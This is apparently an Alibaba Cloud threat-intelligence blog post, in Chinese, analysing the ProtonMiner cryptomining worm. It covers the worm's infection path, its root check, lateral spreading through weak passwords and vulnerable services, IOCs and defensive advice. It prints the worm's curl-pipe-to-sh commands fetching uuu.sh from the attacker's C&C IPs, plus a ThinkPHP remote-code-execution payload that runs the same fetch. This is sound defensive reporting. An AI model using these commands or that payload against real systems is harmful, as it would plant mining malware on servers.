背景

近日,阿里云安全监测到一种挖矿蠕虫,正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为,将其命名为ProtonMiner。据分析,这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似,可能是同一团伙所为。但与先前报导不同的是,二月中旬,该挖矿蠕虫扩大了攻击面,从仅攻击ElasticSearch这一种服务,变为攻击包括Redis, Weblogic在内的多种服务,传播速度大大加快。

本文着重描写该挖矿僵尸网络的传播手法,并在文末列出了安全建议,以帮助用户避免遭受感染,或在已被感染的情况下进行清理。

感染路径

攻击者先控制被感染主机执行以下两条命令之一,从而下载并运行uuu.sh。

/bin/bash -c curl -fsSL http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

/bin/bash -c curl -fsSL http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

而uuu.sh脚本运行后,将继续下载挖矿程序和配置文件用于挖矿,以及下载蠕虫木马用于继续攻击未感染主机。

“谨慎”的入侵脚本

入侵脚本uuu.sh,首先会通过试着写入"/etc/devtools"目录,来判断当前账户是否拥有root权限;脚本的大部分功能,只有当前账号具有root权限时才会运行。

#!/bin/sh

echo 1 > /etc/devtools

if [ -f "$rtdir" ]

    then

        echo "i am root"

        echo "goto 1" >> /etc/devtools

 # download & attack

fi

该脚本具有典型挖矿事件中恶意脚本的特征:检查并杀死其他僵尸网络的进程、将自身写入系统crontab文件、修改iptables设置从而允许某些端口上的通信等。然而这一脚本的作者或许更加谨慎:

1.在脚本最后,攻击者清空了命令历史记录

2.在挖矿配置文件中,攻击者使用了多个ProtonMail邮箱地址作为连接到矿池的用户名。ProtonMail是世界最大的安全邮件服务提供商,ProtonMiner也是因此而得名。这种使用邮箱地址,而非门罗币钱包地址作为矿池用户名的做法很好地“保护”了攻击者的隐私,也为安全工作者们判断该僵尸网络的规模和收益情况增加了难度。

传播分析

ProtonMiner的横向传播程序名为"systemctI",是一个由Go语言编译的程序。它的main函数如下图所示:

该程序在运行时,会首先通过_tmp_exe_linx_ipc_Init_ip等方法对要扫描的ip和使用的弱密码进行初始化。过程中会请求并下载以下两个地址的文件。

https://pixeldra.in/api/download/I9RRye (ip地址c段列表)
https://pixeldra.in/api/download/-7A5aP (弱密码列表)

之后程序会进入main_Scan函数,该函数包含大量的扫描和漏洞利用相关子函数。

下表列出了受到该挖矿僵尸网络影响的服务和漏洞:

例如一个ThinkPHP 的payload:

POST /index.php?s=captcha HTTP/1.1%0d%0aHost: ...%0d%0aUser-Agent: Go-http-client/1.1%0d%0aContent-Length:132%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aAccept-Encoding:gzip%0d%0a%0d%0a_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=url -fsSLhttp://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

ProtonMiner僵尸网络扩大攻击面之后,传播速度有了显著的提升。从下图可以看出,进入2月份以来,攻击量快速上升,并在2月中旬达到高峰,阿里云观察到已有上千台主机受到感染:

安全建议

  1. 不要用root账户启动数据库、网站服务器等服务,因为root启动的服务一旦被成功入侵,攻击者将拥有被入侵主机的所有权限。此外,像Redis和Hadoop这些主要是内部使用的服务,不应暴露在公网上。
  2. 挖矿僵尸网络更新速度非常快,它们部分导致了互联网上无处不在的威胁。您可以使用云防火墙服务,检测、拦截、并保护客户避免感染。
  3. 如果你关注自身业务的网络安全却又雇不起一名安全工程师,那么你可以试试阿里云的安全管家产品,让阿里云的安全专家来给你恰当的帮助,例如协助你清除已存在的病毒、木马等。

IOC

C&C服务器:

45.76.122.92

207.148.70.143

恶意文件:

矿池地址:

xmr.pool.minergate.com:45700

使用的账号(邮箱)名:

xjkhjjkasd@protonmail.com

dashcoin230cdd@protonmail.com

alksjewio@protonmail.com

23odi093dd@protonmail.com

olpeplckdd3@protonmail.com

参考

https://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-spreads-via-old-vulnerabilities-on-elasticsearch/​​​​

原文链接
更多技术干货 请关注阿里云云栖社区微信号 :yunqiinsight

威胁快报|ProtonMiner挖矿蠕虫扩大攻击面,加速传播的更多相关文章

  1. 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库

    概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...

  2. ProtonMiner挖矿蠕虫

    特征 ProtonMail邮箱地址 利用漏洞 服务 漏洞 Hadoop 未授权访问 Drupal CVE-2018-7600 Redis 未授权访问 Spring Data Commons CVE-2 ...

  3. 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟

    近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...

  4. 威胁快报|Solr dataimport成挖矿团伙新型利用方式

    概述 近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利.该团伙使用的恶 ...

  5. 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利

    一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...

  6. 威胁预警|首现新型RDPMiner挖矿蠕虫 受害主机易被添加恶意账户

    近日,阿里云安全发现一种新型挖矿蠕虫RDPMiner,通过爆破Windows Server 3389端口RDP服务的方式进行挖矿木马传播,致使用户CPU占用率暴涨,机器卡顿,更被创建名为Default ...

  7. 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起

    近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...

  8. JbossMiner 挖矿蠕虫分析 (转载)

    前言 从2013年的诞生,到2016爆发,挖矿(MiningCryptocurrency) 的高回报率,使其成为了一把双刃剑.据外媒去年的统计,比特币的算力(Hash Rate)已在半年内翻了一翻. ...

  9. [转帖]Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染

    Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染 https://www.kubernetes.org.cn/5951.html 本来想说可以用 official版本的镜像 但是一 ...

随机推荐

  1. 笔记:使用Python解析JSON

    使用Python解析JSON json是一种轻量级的数据交换格式,易于阅读和编写. json函数具体作用描述 函数 具体描述作用 json.dumps 将python对象编码为JSON字符串 json ...

  2. bzoj1010: [HNOI2008]玩具装箱toy——斜率优化

    方程 $\Large f(i)=min(f(j)+(s(i)-s(j)-1-L)^2)$ 其中$s(i)$为i的前缀和再加上$i$ 对于某个$i$若$j$比$k$优,则 $\large f(j)+(s ...

  3. Leetcode92. Reverse Linked List II反转链表

    反转从位置 m 到 n 的链表.请使用一趟扫描完成反转. 说明: 1 ≤ m ≤ n ≤ 链表长度. 示例: 输入: 1->2->3->4->5->NULL, m = 2 ...

  4. Python全栈开发:json与pickle

    #!/usr/bin/env python # -*- coding;utf-8 -*- """ 正解(序列化):将Python数据类型转换成json或者pickle格式 ...

  5. leetccode-130-被围绕的区域

    题目描述: 方法一:dfs class Solution: def solve(self, board: List[List[str]]) -> None: """ ...

  6. [JZOJ4763] 【NOIP2016提高A组模拟9.7】旷野大计算

    题目 题目大意 给你一个数列,有很多个询问,询问一段区间内,某个数乘它的出现次数的最大值,也就是带权众数. 思考历程 第一次看到这道题,立马想到了树套树之类的二位数据结构,发现不行.(就算可以也很难打 ...

  7. Config程序配置文件(configSections)操作实践及代码详注

    所有与配置文件相关的类:(粗体为一般情况下使用到的类,其它类功能可能在很复杂的情况下才使用到.) 1.ConfigurationManager,这个提供用于打开客户端应用程序集的Configurati ...

  8. window 批量修改或去除文件后缀名

    for /r %i in (*.!ut) do ren "%i" *. 转自:https://blog.csdn.net/zhang_ruisen/article/details/ ...

  9. nginx源码分析——数组

    ngx_array.h /* * Copyright (C) Igor Sysoev * Copyright (C) Nginx, Inc. */ #ifndef _NGX_ARRAY_H_INCLU ...

  10. 洛谷P1081——开车旅行

    传送门:QAQQAQ 题意注意点: 1.是从前往后走,不能回头 2.小A小B轮流开,先小A开,而小A是到第二近的点(这点调试的时候查了好久) 3.若绝对值差相同海拔低的更近,而第一个询问若比值相同是海 ...